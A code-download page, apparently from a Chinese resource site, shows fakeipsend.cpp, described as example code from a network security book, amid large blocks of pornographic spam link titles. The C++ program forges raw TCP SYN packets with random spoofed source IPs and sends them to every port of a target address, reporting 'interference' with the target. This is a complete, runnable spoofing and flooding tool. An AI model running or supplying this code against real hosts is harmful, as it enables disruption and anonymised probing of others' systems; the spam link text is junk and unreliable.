亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频

? 歡迎來到蟲蟲下載站! | ?? 資源下載 ?? 資源專輯 ?? 關于我們
? 蟲蟲下載站

?? fakeipsend.cpp

?? “網絡安全技術實踐與代碼詳解”實例代碼
?? CPP
字號:
#include <stdio.h> 
#include <winsock2.h> 
#include <ws2tcpip.h> 
#include <time.h>
#pragma comment(lib,"ws2_32.lib")
char TargetIP[20]; // 目標機IP地址
char FakeIP[20]; // 偽IP地址
//定義IP首部格式
typedef struct ip_hdr
{ 
	unsigned char h_verlen;        //4位首部長度,4位IP版本號 
	unsigned char tos;             //8位服務類型TOS 
	unsigned short total_len;      //16位總長度(字節) 
	unsigned short ident;          //16位標識 
	unsigned short frag_and_flags; //3位標志位 
	unsigned char ttl;             //8位生存時間 TTL 
	unsigned char proto;           //8位協議 (TCP, UDP 或其他) 
	unsigned short checksum;       //16位IP首部校驗和 
	unsigned int sourceIP;         //32位源IP地址 
	unsigned int destIP;           //32位目的IP地址 
}IPHEADER; 

//定義TCP首部格式
typedef struct tcp_hdr 
{ 
	USHORT th_sport;         //16位源端口 
	USHORT th_dport;         //16位目的端口 
	unsigned int th_seq;     //32位序列號 
	unsigned int th_ack;     //32位確認號 
	unsigned char th_lenres; //4位首部長度/6位保留字 
	unsigned char th_flag;   //6位標志位 
	USHORT th_win;           //16位窗口大小 
	USHORT th_sum;           //16位校驗和 
	USHORT th_urp;           //16位緊急數據偏移量 
}TCPHEADER; 

//定義TCP偽首部格式
typedef struct tsd_hdr  
{ 
	unsigned long saddr; //源地址 
	unsigned long daddr; //目的地址 
	char mbz; 
	char ptcl;           //協議類型 
	unsigned short tcpl; //TCP長度 
}PSDHEADER; 

//CheckSum:計算校驗和的子函數 
USHORT checksum(USHORT *buffer, int size) 
{ 
	unsigned long cksum=0; 
	while(size >1) 
	{ 
		cksum+=*buffer++; 
		size -=sizeof(USHORT); 
	} 
	if(size ) 
	{ 
		cksum += *(UCHAR*)buffer; 
	} 
	
	cksum = (cksum >> 16) + (cksum & 0xffff); 
	cksum += (cksum >>16); 
	return (USHORT)(~cksum); 
} 

// 產生隨機IP地址,用于填充偽源IP
void GenerateRandIP(char *ip)
{

    int ips[4]={0}; // IP地址四個字段
	srand( (unsigned)time(NULL)); // 設置隨機種子
	// 產生隨機數
	for(int i=0; i<4; i++)
	{
		ips[i]=1 + rand() % (255-1+1);
	}
	// 設置隨機IP地址
	sprintf(ip,"%d.%d.%d.%d",ips[0],ips[1],ips[2],ips[3]);
}

// 產生隨機源端口
int GenerateRandSrcPort()
{
	srand( (unsigned)time(NULL)); // 設置隨機種子
	return 1 + rand() % (65535-1+1);

}
// 封裝偽源IP數據包
void PackFakeIP(char *szSendBuf, int dport)
{
	char srcip[20];
    GenerateRandIP(srcip); // 生成隨機IP地址
	strcpy(FakeIP,srcip);
	IPHEADER ipHeader; // IP首部
	TCPHEADER tcpHeader; // TCP首部 
	PSDHEADER psdHeader; // TCP偽首部
	//填充IP首部 
	ipHeader.h_verlen=(4<<4 | sizeof(ipHeader)/sizeof(unsigned long)); 
	// ipHeader.tos=0; 
	ipHeader.total_len=htons(sizeof(ipHeader)+sizeof(tcpHeader)); 
	ipHeader.ident=1; 
	ipHeader.frag_and_flags=0; 
	ipHeader.ttl=128; 
	ipHeader.proto=IPPROTO_TCP; 
	ipHeader.checksum=0; 
	ipHeader.sourceIP=inet_addr(srcip); 
	ipHeader.destIP=inet_addr(TargetIP); 
	
	//填充TCP首部 
	tcpHeader.th_dport=htons(dport); 
	tcpHeader.th_sport=htons(GenerateRandSrcPort()); //源端口號 
	tcpHeader.th_seq=htonl(0x12345678); 
	tcpHeader.th_ack=0; 
	tcpHeader.th_lenres=(sizeof(tcpHeader)/4<<4|0); 
	tcpHeader.th_flag=2; //修改這里來實現不同的標志位探測,2是SYN,1是FIN,16是ACK探測 等等 
	tcpHeader.th_win=htons(512); 
	tcpHeader.th_urp=0; 
	tcpHeader.th_sum=0; 
	// 填充TCP偽首部
	psdHeader.saddr=ipHeader.sourceIP; 
	psdHeader.daddr=ipHeader.destIP; 
	psdHeader.mbz=0; 
	psdHeader.ptcl=IPPROTO_TCP; 
	psdHeader.tcpl=htons(sizeof(tcpHeader)); 
	
	//計算校驗和 
	memcpy(szSendBuf, &psdHeader, sizeof(psdHeader)); 
	memcpy(szSendBuf+sizeof(psdHeader), &tcpHeader, sizeof(tcpHeader)); 
	tcpHeader.th_sum=checksum((USHORT *)szSendBuf,sizeof(psdHeader)+sizeof(tcpHeader)); 
	
	memcpy(szSendBuf, &ipHeader, sizeof(ipHeader)); 
	memcpy(szSendBuf+sizeof(ipHeader), &tcpHeader, sizeof(tcpHeader)); 
	memset(szSendBuf+sizeof(ipHeader)+sizeof(tcpHeader), 0, 4); 
	ipHeader.checksum=checksum((USHORT *)szSendBuf, sizeof(ipHeader)+sizeof(tcpHeader)); 
	
	memcpy(szSendBuf, &ipHeader, sizeof(ipHeader));

}

// 主函數
int main(int argc, char* argv[]) 
{ 

	WSADATA WSAData; 
	SOCKET sock; 
	SOCKADDR_IN addr_in; // 目標機地址
	
	char szSendBuf[60]={0}; // 發送數據緩存區
	BOOL flag; 
	int rect,nTimeOver; 
	
	// 校驗輸入命令個數
	if (argc != 2)
	{
		printf("usage : FakeIPSend.exe [TargetIP]\n");
		exit(0);
	}
	strcpy(TargetIP,argv[1]); // 設置目標機IP地址
	
	// 初始化Winsock庫
	if (WSAStartup(MAKEWORD(2,2), &WSAData)!=0) 
	{ 
		printf("WSAStartup Error!\n"); 
		return false; 
	} 
	
	// 創建原始套接字
	if ((sock=WSASocket(AF_INET,
		SOCK_RAW,
		IPPROTO_RAW,
		NULL,0,
		WSA_FLAG_OVERLAPPED))==INVALID_SOCKET) 
	{ 
		printf("Socket Setup Error!\n"); 
		return false; 
	} 
	flag=true; 
	// 設置原始套接字參數
	if (setsockopt(sock,IPPROTO_IP, IP_HDRINCL,(char *)&flag,sizeof(flag))==SOCKET_ERROR) 
	{ 
		printf("setsockopt IP_HDRINCL error!\n"); 
		return false; 
	} 
	
	nTimeOver=1000; // 超時時間
	// 設置原始套接字發送超時時間
	if (setsockopt(sock, 
		SOL_SOCKET, 
		SO_SNDTIMEO, 
		(char*)&nTimeOver, 
		sizeof(nTimeOver))==SOCKET_ERROR) 
	{ 
		printf("setsockopt SO_SNDTIMEO error!\n"); 
		return false; 
	} 
	// 設置目標機地址結構
	addr_in.sin_family=AF_INET; 
	addr_in.sin_addr.S_un.S_addr=inet_addr(TargetIP); 
	for(int i=1;i<65535;i++)
	{
		
		addr_in.sin_port=htons(i); // 設置目標端口
		PackFakeIP(szSendBuf,i); // 封裝發送數據包
		// 發送偽IP數據包
		rect=sendto(sock, szSendBuf, sizeof(IPHEADER)+sizeof(TCPHEADER), 
			0, (struct sockaddr*)&addr_in, sizeof(addr_in)); 
		if (rect==SOCKET_ERROR) 
		{ 
			printf("Send error!:%d\n",WSAGetLastError()); 
			return false; 
		} 
		else 
			printf("干擾目標機 %s 成功!偽IP :%s \n",TargetIP,FakeIP);
		Sleep(500);
	}
	// 釋放套接字及內存資源
	closesocket(sock); 
	WSACleanup(); 
	
	return 0; 
} 

?? 快捷鍵說明

復制代碼 Ctrl + C
搜索代碼 Ctrl + F
全屏模式 F11
切換主題 Ctrl + Shift + D
顯示快捷鍵 ?
增大字號 Ctrl + =
減小字號 Ctrl + -
亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频
日产国产欧美视频一区精品| 欧美在线视频你懂得| 日本久久精品电影| 精品国产一区a| 亚洲成人午夜电影| 丁香婷婷综合激情五月色| 欧美性大战久久久久久久| 国产精品成人在线观看| 韩国av一区二区三区在线观看| 欧美性大战久久久久久久蜜臀| 国产偷国产偷亚洲高清人白洁| 日韩国产在线观看一区| 91福利在线导航| 亚洲欧洲av在线| 国产91精品入口| 精品国产凹凸成av人导航| 日韩成人av影视| 欧美日韩一区三区| 亚洲精品久久久蜜桃| 成人黄色a**站在线观看| 欧美激情一区二区三区在线| 久久99精品国产麻豆不卡| 在线播放/欧美激情| 亚洲国产欧美日韩另类综合 | 国产精品一级黄| 精品美女在线播放| 久草这里只有精品视频| 欧美一级高清片在线观看| 美女网站一区二区| 久久中文娱乐网| 一本一本久久a久久精品综合麻豆| 欧美成人在线直播| 日本在线播放一区二区三区| 欧美撒尿777hd撒尿| 亚洲18女电影在线观看| 欧美疯狂做受xxxx富婆| 日本伊人午夜精品| 日韩欧美成人激情| 国产毛片精品视频| 中文字幕国产一区二区| aaa欧美日韩| 一区二区三区四区精品在线视频| 99精品国产热久久91蜜凸| 一区二区在线观看免费| 欧美丝袜自拍制服另类| 日韩av成人高清| 2022国产精品视频| 99久久精品免费看| 欧美一区二区三区白人| 午夜影院在线观看欧美| 亚洲欧美另类在线| 91福利在线看| 久久超碰97人人做人人爱| 久久影院电视剧免费观看| 丁香婷婷综合网| 亚洲成av人片一区二区| 久久久久久久综合| 色综合天天综合网天天看片| 亚洲国产成人av好男人在线观看| 欧美一区二区在线看| 国产精品99久久久久| 亚洲男女一区二区三区| 日韩欧美精品在线视频| 99麻豆久久久国产精品免费| 日韩成人免费看| 中文字幕亚洲一区二区av在线| 欧美日韩免费观看一区二区三区 | 国产精品久久夜| 欧美日韩一区二区欧美激情| 国产一区二区三区四| 亚洲国产视频在线| 国产欧美一区在线| 欧美绝品在线观看成人午夜影视| 高清成人免费视频| 日韩一区精品字幕| 亚洲伦理在线免费看| 久久在线观看免费| 91精品国产综合久久国产大片| 大白屁股一区二区视频| 天天操天天干天天综合网| 欧美国产成人在线| 精品毛片乱码1区2区3区| 欧美视频一区二区三区在线观看| 国产aⅴ精品一区二区三区色成熟| 亚洲第一在线综合网站| 亚洲日本在线天堂| 久久精品亚洲乱码伦伦中文| 欧美久久久久中文字幕| 一本到一区二区三区| 国产精品一区二区黑丝| 久久精品国产精品青草| 亚洲成va人在线观看| 亚洲欧美日韩一区二区三区在线观看| 久久美女高清视频| 欧美大片国产精品| 69堂成人精品免费视频| 欧美在线不卡视频| 色综合激情久久| 97久久精品人人爽人人爽蜜臀 | 男女男精品视频网| 一区二区三区加勒比av| 久久久久国产精品免费免费搜索| 欧美一级日韩一级| 欧美日韩黄视频| 欧美美女喷水视频| 欧美日韩国产一级片| 欧美视频中文一区二区三区在线观看| www.亚洲在线| a4yy欧美一区二区三区| 成人激情免费视频| 99久久精品国产导航| 成人午夜视频在线| 波多野结衣亚洲| av在线一区二区三区| 成人黄色免费短视频| 99热在这里有精品免费| 色成年激情久久综合| 欧美日韩视频在线第一区| 欧美男人的天堂一二区| 欧美一区永久视频免费观看| 日韩欧美色电影| 2017欧美狠狠色| 国产精品女同一区二区三区| 国产精品国产a| 亚洲欧美日韩国产综合在线| 一级特黄大欧美久久久| 欧洲生活片亚洲生活在线观看| 奇米四色…亚洲| 青青草国产精品97视觉盛宴| 日韩高清不卡在线| 亚洲午夜免费视频| 日本一区二区三区dvd视频在线| 亚洲欧洲成人自拍| 蜜臀av国产精品久久久久| 91视视频在线观看入口直接观看www | 在线观看成人小视频| 国产日韩综合av| 美女久久久精品| 欧美日韩美少妇| 中文字幕永久在线不卡| 国产麻豆精品在线观看| 日韩三级av在线播放| 亚洲成a人片在线不卡一二三区| 成人污污视频在线观看| 久久影音资源网| 美女久久久精品| 欧美一区二区福利视频| 亚洲一二三四区| 色综合激情久久| 亚洲日本欧美天堂| 成人18视频日本| 国产精品理论在线观看| 国产成人免费网站| 国产亚洲欧美一区在线观看| 久久精品国产亚洲aⅴ| 欧美夫妻性生活| 日韩电影免费在线观看网站| 欧美日韩在线亚洲一区蜜芽| 一区二区三区在线免费观看| 91网站最新地址| 亚洲免费观看高清在线观看| 成人福利视频网站| 国产精品久久久久久久裸模 | 色视频成人在线观看免| 一区免费观看视频| 91丨国产丨九色丨pron| 亚洲欧美国产高清| 在线一区二区观看| 亚洲一区二区3| 欧美精品一二三四| 久久精品国产色蜜蜜麻豆| 欧美一区二区三区在线看| 精品一区二区三区久久| 26uuu国产在线精品一区二区| 久久精品国产亚洲高清剧情介绍| 日韩欧美不卡在线观看视频| 狠狠色狠狠色合久久伊人| 国产亚洲va综合人人澡精品| 国产成人av资源| 亚洲欧洲无码一区二区三区| 色综合网站在线| 日韩综合在线视频| 精品日韩欧美一区二区| 国产福利91精品一区二区三区| 亚洲国产精品精华液2区45| 91麻豆123| 青青青伊人色综合久久| 国产日韩欧美不卡| 95精品视频在线| 午夜视频一区在线观看| 欧美变态tickling挠脚心| 丰满少妇久久久久久久| 一区二区久久久久| 日韩一区二区三区av| 国产成人精品免费| 亚洲午夜激情av| 久久九九久精品国产免费直播| 色狠狠色噜噜噜综合网| 久久不见久久见免费视频7| 中文字幕亚洲不卡|